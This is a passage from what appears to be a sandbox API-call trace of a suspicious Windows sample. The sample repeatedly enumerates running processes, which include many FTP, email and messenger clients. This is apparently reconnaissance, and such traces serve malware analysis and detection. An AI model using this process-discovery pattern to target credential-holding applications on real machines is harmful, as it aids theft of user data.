th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0280.534] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0280.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0280.549] CloseHandle (hObject=0x344) returned 1 [0280.549] Sleep (dwMilliseconds=0x64) [0280.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0280.621] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.627] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.635] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.639] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.708] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.710] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.714] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.718] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.720] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.725] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0280.730] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0280.731] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.774] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0280.775] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0280.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0280.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0280.780] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0280.782] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0280.784] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0280.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0280.788] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0280.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0280.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0280.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0280.794] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0280.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0280.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0280.799] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0280.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0280.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0280.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0280.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0280.808] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0280.810] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0280.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0280.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0280.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0280.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0280.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0280.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0280.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0280.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0280.862] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0280.864] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0280.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0280.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0280.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0280.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0280.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0280.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0280.879] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0280.881] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0280.883] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0280.885] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0280.887] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0280.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0280.928] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: 